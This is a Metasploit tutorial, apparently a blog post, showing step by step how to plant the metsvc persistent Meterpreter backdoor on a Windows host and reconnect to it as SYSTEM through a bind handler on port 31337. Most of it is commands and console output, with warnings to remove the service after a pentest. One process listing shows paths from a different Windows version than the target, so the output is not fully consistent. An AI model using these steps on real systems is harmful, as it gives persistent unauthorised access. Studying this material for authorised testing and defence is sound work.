MSF Meterpreter Backdoor
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4 minute read
Meterpreter metsvc
After logging into the target system, another way to ensure persistence is to use the metsvc service. With this service, you can open a Meterpreter session again whenever you want. You can review detailed information about
metsvc using the link.
Let’s emphasize an important point you need to know about metsvc. Anyone who finds the relevant port of the computer you placed this service on can use this backdoor. You should cancel it after using it during pentest operations, otherwise you will open the system to malicious people. This may not be nice to the system owners.
First, let’s open a meterpreter session using a module related to a vulnerability you found in the system.
msf exploit(3proxy) > exploit
> Started reverse handler
> Trying target Windows XP SP2 - English...
> Sending stage (719360 bytes)
> Meterpreter session 1 opened (192.168.1.101:4444 -> 192.168.1.104:1983)
Let’s find the PID number of the Explorer.exe program with the ps command and switch to the program with this PID number with the migrate command.
meterpreter > ps
Process list
**============**
PID Name Path
--- ---- ----
132 ctfmon.exe C:\WINDOWS\system32\ctfmon.exe
176 svchost.exe C:\WINDOWS\system32\svchost.exe
440 VMwareService.exe C:\Program Files\VMware\VMware Tools\VMwareService.exe
632 Explorer.EXE C:\WINDOWS\Explorer.EXE
796 smss.exe \SystemRoot\System32\smss.exe
836 VMwareTray.exe C:\Program Files\VMware\VMware Tools\VMwareTray.exe
844 VMwareUser.exe C:\Program Files\VMware\VMware Tools\VMwareUser.exe
884 csrss.exe \??\C:\WINDOWS\system32\csrss.exe
908 winlogon.exe \??\C:\WINDOWS\system32\winlogon.exe
952 services.exe C:\WINDOWS\system32\services.exe
964 lsass.exe C:\WINDOWS\system32\lsass.exe
1120 vmacthlp.exe C:\Program Files\VMware\VMware Tools\vmacthlp.exe
1136 svchost.exe C:\WINDOWS\system32\svchost.exe
1236 svchost.exe C:\WINDOWS\system32\svchost.exe
1560 alg.exe C:\WINDOWS\System32\alg.exe
1568 WZCSLDR2.exe C:\Program Files\ANI\ANIWZCS2 Service\WZCSLDR2.exe
1596 jusched.exe C:\Program Files\Java\jre6\binjusched.exe
1656 msmsgs.exe C:\Program Files\Messenger\msmsgs.exe
1748 spoolsv.exe C:\WINDOWS\system32\spoolsv.exe
1928 jqs.exe C:\Program Files\Java\jre6\binjqs.exe
2028 snmp.exe C:\WINDOWS\System32\snmp.exe
2840 3proxy.exe C:\3proxy\bin3proxy.exe
3000 mmc.exe C:\WINDOWS\system32\mmc.exe
meterpreter > migrate 632
> Migrating to 632...
> Migration completed successfully.
Before using the metsvc module, let’s view the help and see what possibilities it provides us.
meterpreter > run metsvc -h
>
OPTIONS:
-A Automatically start a matching multi/handler to connect to the service
-h This help menu
-r Uninstall an existing Meterpreter service (files must be deleted manually)
meterpreter >
metsvc is a program that normally provides us with a backlink, but since we have already opened a Meterpreter session, we don’t need the backlink for now. Let’s just run the program.
meterpreter > run metsvc
> Creating a meterpreter service on port 31337
> Creating a temporary installation directory C:\DOCUME~1\victim\LOCALS~1\Temp\JplTpVnksh...
> > Uploading metsrv.dll...
> > Uploading metsvc-server.exe...
> > Uploading metsvc.exe...
> Starting the service...
> ***** Installing service metsvc
***** Starting service
Service metsvc successfully installed.
meterpreter >
metsvc has started and is now waiting to connect. Now let’s see how we will communicate with this service.
We will use the windows/metsvc_bind_tcp payload module to communicate with metsvc which is listening on the target system. Let’s activate the module as in the example below and make the necessary PORT settings.
msf > use exploit/multi/handler
msf exploit(handler) > set PAYLOAD windows/metsvc_bind_tcp
PAYLOAD => windows/metsvc_bind_tcp
msf exploit(handler) > set LPORT 31337
LPORT => 31337
msf exploit(handler) > set RHOST 192.168.1.104
RHOST => 192.168.1.104
msf exploit(handler) > show options
Module options:
Name Current Setting Required Description
---- --------------- -------- -----------
Payload options (windows/metsvc_bind_tcp):
Name Current Setting Required Description
---- --------------- -------- -----------
EXITFUNC thread yes Exit technique: seh, thread, process
LPORT 31337 yes The local port
RHOST 192.168.1.104 no The target address
Exploit target:
Id Name
-- ----
0 Wildcard Target
msf exploit(handler) > exploit
> Starting the payload handler...
> Started bind handler
> Meterpreter session 2 opened (192.168.1.101:60840 -> 192.168.1.104:31337)
As you can see, session 2 has been opened automatically. Now, let’s see what PID number the metsvc service is running with on the target computer.
meterpreter > ps
Process list
**============**
PID Name Path
--- ---- ----
140 smss.exe \SystemRoot\System32\smss.exe
168 csrss.exe \??\C:\WINNT\system32\csrss.exe
188 winlogon.exe \??\C:WINNT\system32\winlogon.exe
216 services.exe C:\WINNT\system32\services.exe
228 lsass.exe C:\WINNT\system32\lsass.exe
380 svchost.exe C:\WINNT\system32\svchost.exe
408 spoolsv.exe C:\WINNT\system32\spoolsv.exe
444 svchost.exe C:\WINNT\System32\svchost.exe
480 regsvc.exe C:\WINNT\system32\regsvc.exe
500 MSTask.exe C:\WINNT\system32\MSTask.exe
528 VMwareService.exe C:\Program Files\VMware\VMware Tools\VMwareService.exe
564 metsvc.exe c:\WINNT\my\metsvc.exe
588 WinMgmt.exe C:\WINNT\System32\WBEM\WinMgmt.exe
676 cmd.exe C:\WINNT\System32\cmd.exe
724 cmd.exe C:\WINNT\System32\cmd.exe
764 mmc.exe C:\WINNT\system32\mmc.exe
816 metsvc-server.exe c:\WINNT\my\metsvc-server.exe
888 VMwareTray.exe C:\Program Files\VMware\VMware Tools\VMwareTray.exe
896 VMwareUser.exe C:\Program Files\VMware\VMware Tools\VMwareUser.exe
940 firefox.exe C:\Program Files\Mozilla Firefox\firefox.exe
972 TPAutoConnSvc.exe C:\Program Files\VMware\VMware Tools\TPAutoConnSvc.exe
1000 Explorer.exe C:\WINNT\Explorer.exe
1088 TPAutoConnect.exe C:\Program Files\VMware\VMware Tools\TPAutoConnect.exe
meterpreter > pwd
C:\WINDOWS\system32
meterpreter > getuid
Server username: NT AUTHORITY\SYSTEM
meterpreter >
As can be seen from the output, the metsvc program is running with PID number 564. Now, whenever you want, we can connect to the program listening on the target computer using the windows/metsvc_bind_tcp payload module.
Again, once your security test procedures are complete, you should delete the metsvc program from the system.
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